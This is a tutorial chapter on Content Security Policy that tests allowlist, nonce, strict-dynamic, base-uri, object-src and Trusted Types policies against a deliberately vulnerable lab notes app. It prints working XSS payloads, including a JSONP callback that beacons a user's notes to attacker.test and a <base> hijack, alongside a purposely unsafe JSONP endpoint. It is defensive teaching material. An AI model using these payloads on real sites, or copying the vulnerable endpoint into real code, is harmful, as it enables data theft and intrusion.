5 — Content Security Policy
Chapter 4 closed every XSS hole in the notes app, one at a time, and needed six fixes to do it. Each depended on someone noticing which context a value lands in. Nothing about that process stops the next one from being missed.
Content Security Policy (CSP) is a response header that tells the browser which scripts a page is allowed to run, along with other things it may load. If an injection gets past the templates, a good policy means the injected markup is still inert: the browser parses it, sees that it isn’t allowed to execute, and refuses. CSP doesn’t replace output encoding. It’s the second line for when the first one fails.
To test it properly, this chapter goes back to the vulnerable version of the app from the start of chapter 4: |safe on the note body and search heading, the unquoted attribute, the raw page variable, the unchecked author link and the innerHTML banner. Every attack below works against that version with no policy. The question each time is what a given policy changes. Same lab as before: the app at https://notes.test:5201, other sites on port 5202, Chrome 157.0.8103.40. The policy specification is CSP Level 3, a W3C Working Draft that browsers largely follow.
A first policy: an allowlist
The traditional way to write a policy is to list where scripts may come from:
Content-Security-Policy: script-src 'self' https://cdn.notes.test:5202; object-src 'none'
'self' means the page’s own origin. The CDN is there because a page often loads a library from one. Under this policy, Chrome refuses to run any inline script: <script> blocks without a src, onerror= and other event handler attributes, and javascript: URLs. Mallory’s notes and links, against the vulnerable app with this header, as alice:
=== inline <script> in a note
Executing inline script violates the following Content Security Policy directive
'script-src 'self' https://cdn.notes.test:5202'. Either the 'unsafe-inline' keyword, a hash
('sha256-YM7saIHgHptDgiyaaJaS7X9PyzDgeYYwJlLJNQe0k3s='), or a nonce ('nonce-...') is required
to enable inline execution. The action has been blocked.
=== <img onerror> in a note
Executing inline event handler violates the following Content Security Policy directive ...
The action has been blocked.
=== javascript: author link, clicked
Running the JavaScript URL violates the following Content Security Policy directive ...
The action has been blocked.
=== DOM-based, fragment into innerHTML
Executing inline event handler violates the following Content Security Policy directive ...
The action has been blocked.
That already stops most of chapter 4. It also broke something of the app’s own: the search page’s <script>const page = ...;</script> is inline, so it was blocked too. An allowlist policy forces every inline script into a file.
The bypass
The app has an old endpoint that a partner’s widget once used, /api/notes.js. It returns the user’s notes wrapped in a function call, with the function name taken from the URL:
@app.get("/api/notes.js")
def api_notes_jsonp():
cb = request.args.get("callback", "callback")
return Response(f"{cb}({json.dumps(my_notes())});", mimetype="application/javascript")
That’s JSONP, a pre-CORS way of getting data across origins, covered properly in chapter 6. Here what matters is that it lives on 'self' and lets the caller choose the start of the script. Mallory’s note:
<script src="/api/notes.js?callback=(d=>navigator.sendBeacon('https://attacker.test:5202/collect',JSON.stringify(d)))"></script>
(URL-encoded in the real note.) The script comes from the app’s own origin, so 'self' allows it. The response is
(d=>navigator.sendBeacon('https://attacker.test:5202/collect',JSON.stringify(d)))([{"id":1,"title":"Door code",...}]);
which is a complete program that sends alice’s notes away. When alice opened the note, Chrome’s network record showed no CSP error at all:
GET https://notes.test:5201/api/notes.js?callback=(d%3D%3Enavigator.sendBeacon(...)) Sec-Fetch-Site=same-origin
POST https://attacker.test:5202/collect Sec-Fetch-Site=cross-site
[attacker.test:5202] COLLECTED: [{"id":1,"title":"Door code","body":"The side door code is 4417.","owner":"alice"}, ...]
The policy did what it said. The trouble is what it said: “any script from these origins”. Every endpoint on an allowlisted origin that returns attacker-influenced JavaScript is a way around it: JSONP callbacks, user-uploaded files served with a script MIME type, and old libraries with “script gadgets” that turn ordinary-looking markup into code. AngularJS is the classic example; with an old copy on an allowlisted CDN, an injected ng-app attribute and template expression is enough to run code without a <script> tag of the attacker’s own. The allowlisted CDN in this policy is a liability for the same reason: a public CDN hosts thousands of libraries, any of which the attacker can load.
This isn’t a rare edge case. Google researchers studied 26,011 unique policies seen on about 1.68 million hosts in 2016 (“CSP Is Dead, Long Live CSP!”, Weichselbaum, Spagnuolo, Lekies and Janc, ACM CCS 2016). They found bypasses in 94.72% of the distinct policies, and 14 of the 15 domains most often allowlisted for scripts hosted unsafe endpoints. Their conclusion was to stop listing hosts and mark the scripts themselves.
Nonces
A nonce-based policy allows a script only if its tag carries a random value that the server generated for this response:
Content-Security-Policy: script-src 'nonce-aCuU5noNbytnYRZw_ByJ-Q' 'strict-dynamic'; object-src 'none'; base-uri 'none'
<script nonce="aCuU5noNbytnYRZw_ByJ-Q" src="/static/app.js"></script>
The server makes a new nonce for every response and puts the same value in the header and on each of its own script tags:
@app.before_request
def load_session():
...
g.nonce = secrets.token_urlsafe(16)
@app.after_request
def headers(resp):
n = g.nonce
resp.headers["Content-Security-Policy"] = (
f"script-src 'nonce-{n}' 'strict-dynamic'; object-src 'none'; base-uri 'none'")
return resp
<script nonce="{{ nonce }}" src="/static/app.js"></script>
An attacker who injects markup into the page doesn’t know the nonce, because it changes every time the page is served. The spec asks for a fresh value with each policy, at least 128 bits before encoding, from a cryptographically secure generator; token_urlsafe(16) is 128 bits. A nonce that is reused, or cached along with the page by a CDN, stops being secret.
The same attacks, against the same vulnerable app, with this header:
| Attack | Allowlist policy | Nonce policy |
|---|---|---|
Inline <script> in a note | Blocked | Blocked |
<img onerror> in a note | Blocked | Blocked |
<script src="/api/notes.js?callback=..."> | Ran, notes sent to attacker | Blocked |
javascript: author link | Blocked | Blocked |
DOM-based, innerHTML | Blocked | Blocked |
Injection inside the app’s own <script> | Blocked (app broken too) | Ran |
The JSONP script is now refused even though it’s same-origin, because the tag has no nonce:
Loading the script 'https://notes.test:5201/api/notes.js?callback=(d%3D%3Enavigator.sendBeacon(...))'
violates the following Content Security Policy directive: "script-src 'nonce-B89tgE6sh3KrQQm-FoOq4w'
'strict-dynamic'". Note that 'script-src-elem' was not explicitly set, so 'script-src' is used as a
fallback. The action has been blocked.
The last row is the policy’s limit. The injection into const page = {{ page }}; lands inside a script that carries the nonce:
/search?q=x&page=1;console.log(/injected into a nonced script/.source)
console.log: injected into a nonced script
CSP decides which script elements may run. It has no opinion about what’s in them. An attacker who can write into a trusted script, or into a template that becomes one, is already past it. That’s one more reason for chapter 4’s advice to keep data out of script blocks. (The first attempt at this probe used quotes and failed with SyntaxError: Unexpected token '&', because autoescaping had turned them into entities; the attacker just rewrote it without quotes.)
strict-dynamic
The app’s app.js loads the note editor only on pages that need it:
const s = document.createElement('script');
s.src = '/static/editor.js';
document.head.append(s);
That new script element has no nonce. Under a nonce-only policy, without 'strict-dynamic', Chrome refused it:
Loading the script 'https://notes.test:5201/static/editor.js' violates the following Content
Security Policy directive: "script-src 'nonce-AUKpSHokTgJtapdNf-NYGQ'". ... The action has been blocked.
'strict-dynamic' extends trust from a nonced script to scripts it creates through the DOM (createElement('script') plus append). With it, the console showed editor.js loaded. Scripts inserted by the HTML parser, which is what an injection produces, still need their own nonce, which is why the JSONP <script src> above stayed blocked. Most real pages load widgets, analytics or code-split chunks this way, and 'strict-dynamic' is what makes a nonce policy deployable on them without listing every host.
The CSP3 spec defines one more effect: when 'strict-dynamic' is present, host and scheme sources, 'self' and 'unsafe-inline' are ignored for scripts. That is what makes a backward-compatible strict policy possible:
Content-Security-Policy: script-src 'nonce-...' 'strict-dynamic' 'unsafe-inline' https:; object-src 'none'; base-uri 'none'
A browser that only understands CSP1 sees 'unsafe-inline' https: and keeps working. A current browser ignores both. Chrome said so when this policy blocked an injected handler and an injected external script:
Executing inline event handler violates the following Content Security Policy directive 'script-src
'nonce-inR-4Y2frs8JwSlxN0rwbA' 'strict-dynamic' 'unsafe-inline' https:'. Note that 'unsafe-inline' is
ignored if either a hash or nonce value is present in the source list. The action has been blocked.
Loading the script 'https://attacker.test:5202/static/app.js' violates the following Content Security
Policy directive: "script-src 'nonce-8KYdCJQyWa9WhXs6CjBS_w' 'strict-dynamic' 'unsafe-inline' https:".
Note that 'strict-dynamic' is present, so host-based allowlisting is disabled. ...
For pages that can’t generate a nonce per response, such as static files served from a CDN, CSP also accepts hashes: 'sha256-...' of an inline script’s exact contents. Chrome’s error messages above even print the hash that would have allowed the blocked inline script. A hash-based policy with 'strict-dynamic' works the same way as a nonce-based one.
base-uri
Every nonce in the app’s pages is on a script tag with a relative URL: src="/static/app.js". A relative URL is resolved against the document’s base URL, and an HTML <base> element changes that. Mallory’s note contains only:
<base href="https://attacker.test:5202/">
The note body comes before the app’s footer script in the page. With the nonce policy minus its base-uri directive, alice opened the note:
GET https://attacker.test:5202/static/app.js Sec-Fetch-Site=cross-site
POST https://attacker.test:5202/collect Origin=https://notes.test:5201
h2 on page: loaded from attacker.test:5202
[attacker.test:5202] COLLECTED: base-uri hijack ran on https://notes.test:5201
The app’s own <script nonce="..." src="/static/app.js"> now meant https://attacker.test:5202/static/app.js. It carried the right nonce, so the policy allowed it, and the attacker’s file ran with the app’s origin. With base-uri 'none' restored:
Setting the document's base URI to 'https://attacker.test:5202/' violates the following Content
Security Policy directive: "base-uri 'none'". The action has been blocked.
base-uri is a document directive, not a fetch directive, so default-src doesn’t cover it; it has to be set explicitly. 'none' works when the app never uses <base>, and 'self' otherwise. Interestingly, the allowlist policy from the start of the chapter happened to stop this one, because attacker.test wasn’t on its list.
object-src
<object> and <embed> load “plugin” content, and before browsers dropped Flash they were a reliable way to run script that ignored script-src. Current Chrome has no such plugins, but these elements still load and render content from anywhere. A note with <embed src="https://attacker.test:5202/embed.html"> loaded the attacker’s page into alice’s view with no policy, and under object-src 'none':
Loading plugin data from 'https://attacker.test:5202/embed.html' violates the following Content
Security Policy directive: "object-src 'none'". The action has been blocked.
object-src falls back to default-src, so a policy with neither leaves it open. The strict policies recommended on web.dev include object-src 'none' and base-uri 'none', and there’s no reason for a notes app to allow it.
Rolling it out: report-only and reports
Turning on a strict policy for a large app the first day breaks things nobody remembered: an inline onclick in an old template, a third-party tag that injects scripts with document.write. CSP has a way to find them first. The Content-Security-Policy-Report-Only header evaluates the policy and reports violations without blocking anything:
Content-Security-Policy-Report-Only: script-src 'nonce-...' 'strict-dynamic' 'report-sample'; object-src 'none'; base-uri 'none'; report-uri /csp-report
With only that header, mallory’s <img onerror> note ran (console.log: onerror handler ran) and Chrome posted reports to the app:
POST /csp-report Content-Type: application/csp-report
{"csp-report":{"document-uri":"https://notes.test:5201/notes/24","referrer":"",
"violated-directive":"script-src-attr","effective-directive":"script-src-attr",
"original-policy":"script-src 'nonce-MvHjQXH6SzSWoUGc7jFAgA' 'strict-dynamic' 'report-sample'; ...",
"disposition":"report","blocked-uri":"inline","line-number":22,"column-number":75,
"source-file":"https://notes.test:5201/notes/24","status-code":200,
"script-sample":"console.log('onerror handler ran')"}}
'report-sample' asks the browser to include the start of the offending code (the spec says the first 40 characters), which turns “something inline on /notes/24” into something a person can recognize. For the DOM-based probe, the report’s source-file was https://notes.test:5201/static/app.js, line 6, pointing at the innerHTML assignment itself.
report-uri is the original reporting directive and is now deprecated in favor of report-to, which uses the Reporting API. The endpoint is named in a separate header:
Reporting-Endpoints: csp="/reports"
Content-Security-Policy: script-src 'nonce-...' 'strict-dynamic'; object-src 'none'; base-uri 'none'; report-uri /csp-report; report-to csp
The spec says that when report-to is present, report-uri is ignored, and suggests sending both so that browsers without report-to still report. Chrome behaved that way: with both directives, reports arrived only at /reports, in the newer format:
POST /reports Content-Type: application/reports+json
[{"age":0,"type":"csp-violation","url":"https://notes.test:5201/notes/23",
"body":{"blockedURL":"inline","disposition":"enforce","documentURL":"https://notes.test:5201/notes/23",
"effectiveDirective":"script-src-attr","originalPolicy":"...","sample":"","statusCode":200},
"user_agent":"Mozilla/5.0 ... HeadlessChrome/157.0.0.0 Safari/537.36"}]
The Reporting API batches reports and may send them later, so they don’t arrive the moment a violation happens, and a report from a page that closes quickly can be lost. The usual rollout is to run report-only for a while, fix or allow what legitimately shows up, then switch to enforcement and keep reporting on. Reports also make a real attack visible: a burst of script-src-attr violations from note pages is someone probing for XSS. Expect some noise from browser extensions, which inject scripts into pages and trigger reports the app can’t fix.
The endpoint itself takes unauthenticated POSTs from anyone, so it needs to tolerate junk: size limits, rate limits, and no trust in the contents. The app’s endpoint is exempt from the Fetch Metadata check, since reports aren’t user actions.
Trusted Types
The nonce policy blocked the DOM-based payload, but only at the last step: the <img> element was created, and its onerror handler was refused. The innerHTML assignment that built it still happened. If the payload had been something else, such as a fake login form or a <script> loaded through another gadget, the sink would still have been open.
Trusted Types close the sinks themselves. Two more directives:
Content-Security-Policy: script-src 'nonce-...' 'strict-dynamic'; object-src 'none'; base-uri 'none'; require-trusted-types-for 'script'; trusted-types app
require-trusted-types-for 'script' makes the browser refuse plain strings at DOM injection sinks. HTML sinks such as innerHTML, outerHTML, insertAdjacentHTML and document.write require a TrustedHTML object; script sinks such as eval and a script element’s text require TrustedScript; script URL sinks such as a script element’s src require TrustedScriptURL. Those objects can only be created by a policy, and trusted-types app says the only policy that may exist is one called app.
The DOM-based probe against the vulnerable banner code:
This document requires 'TrustedHTML' assignment. The action has been blocked.
exception: TypeError: Failed to set the 'innerHTML' property on 'Element': This document requires 'TrustedHTML' assignment.
flash contents: ""
The assignment never happened. The first run of this also turned up something in the app’s own code. app.js sets s.src = '/static/editor.js', a string assigned to a script URL sink, and the report said so:
"effectiveDirective":"require-trusted-types-for","blockedURL":"trusted-types-sink",
"sample":"HTMLScriptElement src|/static/editor.js","sourceFile":"https://notes.test:5201/static/app.js","lineNumber":15
That’s the point of Trusted Types: every sink becomes something the browser reports, and the remaining legitimate uses have to go through one small, reviewable policy. The app’s policy only vouches for its own static scripts:
const policy = window.trustedTypes
? trustedTypes.createPolicy('app', {
createScriptURL: (url) => {
if (/^\/static\/[\w-]+\.js$/.test(url)) return url;
throw new TypeError('script URL not allowed: ' + url);
},
})
: { createScriptURL: (url) => url };
s.src = policy.createScriptURL('/static/editor.js');
With that change and chapter 4’s textContent fix for the banner, the page ran under the full policy with no violations, the editor loaded, and the fragment payload showed up as text. An attacker who gets script running can’t simply create their own policy, either:
Creating a TrustedTypePolicy named 'anything' violates the following Content Security policy
directive: "trusted-types app". The action has been blocked.
TypeError: Failed to execute 'createPolicy' on 'TrustedTypePolicyFactory': Policy "anything" disallowed.
A policy named default is special: if it exists, the browser passes every plain string headed for a sink through it. MDN suggests using it only while migrating old code, since it quietly converts strings instead of forcing each call site to be fixed. MDN marks Trusted Types as newly Baseline as of February 2026, so older browsers will ignore these directives, which is fine for a defense-in-depth layer. Running them in report-only mode first finds every sink in the codebase, which is valuable on its own.
What CSP doesn’t do
The probes found one injection the nonce policy didn’t stop, and there are others in the same family:
- Injection into trusted script. Shown above with
page. Template data inside<script>blocks,evalof server data, or a nonced loader that takes a URL from the query string all hand the nonce’s trust to the attacker. - Markup without script. CSP’s script rules don’t stop injected HTML that doesn’t need script: a fake login form, a link that looks like part of the app, or an unclosed attribute that swallows the rest of the page (including a CSRF token) into a request to the attacker.
form-actionrestricts where forms can submit, andimg-src,connect-srcanddefault-srcrestrict where the page can send requests, but tight versions of those are hard to maintain. - Leaked nonces. A nonce that appears in a cached page, a URL or a log is no longer secret. It must be per response, and pages carrying one shouldn’t be stored in a shared cache.
- The rest of the app. CSP lives on the HTML response. It does nothing for an API endpoint that returns data to whoever asks, which is where the next chapter goes.
The policy the app keeps
The app now sends, on every HTML response:
Content-Security-Policy: script-src 'nonce-{random}' 'strict-dynamic'; object-src 'none'; base-uri 'none'; require-trusted-types-for 'script'; trusted-types app; report-uri /csp-report; report-to csp
Reporting-Endpoints: csp="/reports"
with chapter 4’s fixes still in place underneath. On the fixed app’s home page, with the editor loading, it produced no violations; against the vulnerable app it blocked every chapter 4 payload except the one written into a nonced script.
Where this leaves things
The app has a second line. If a future template change reintroduces an XSS hole, an injected <script>, event handler, javascript: URL, <base> tag or <embed> won’t run, an innerHTML of an attacker’s string will throw, and the attempt will show up in the violation reports. The one gap shown, injection into a script that already carries the nonce, is closed by chapter 4’s rule of keeping data out of script.
The policy also exposed something that doesn’t belong in the app at all. The JSONP endpoint that defeated the allowlist exists because a partner once needed the user’s notes on a page of their own, on another site, and the same-origin policy wouldn’t let them read the JSON API. Under the nonce policy the endpoint can no longer be used against the app’s own pages, but any other site can still include it with a <script> tag. The partner still wants the data, now with a proper JSON API call from their origin. Chapter 6 looks at how a server says which other origins may read its responses, and at what happens when it says yes to too many.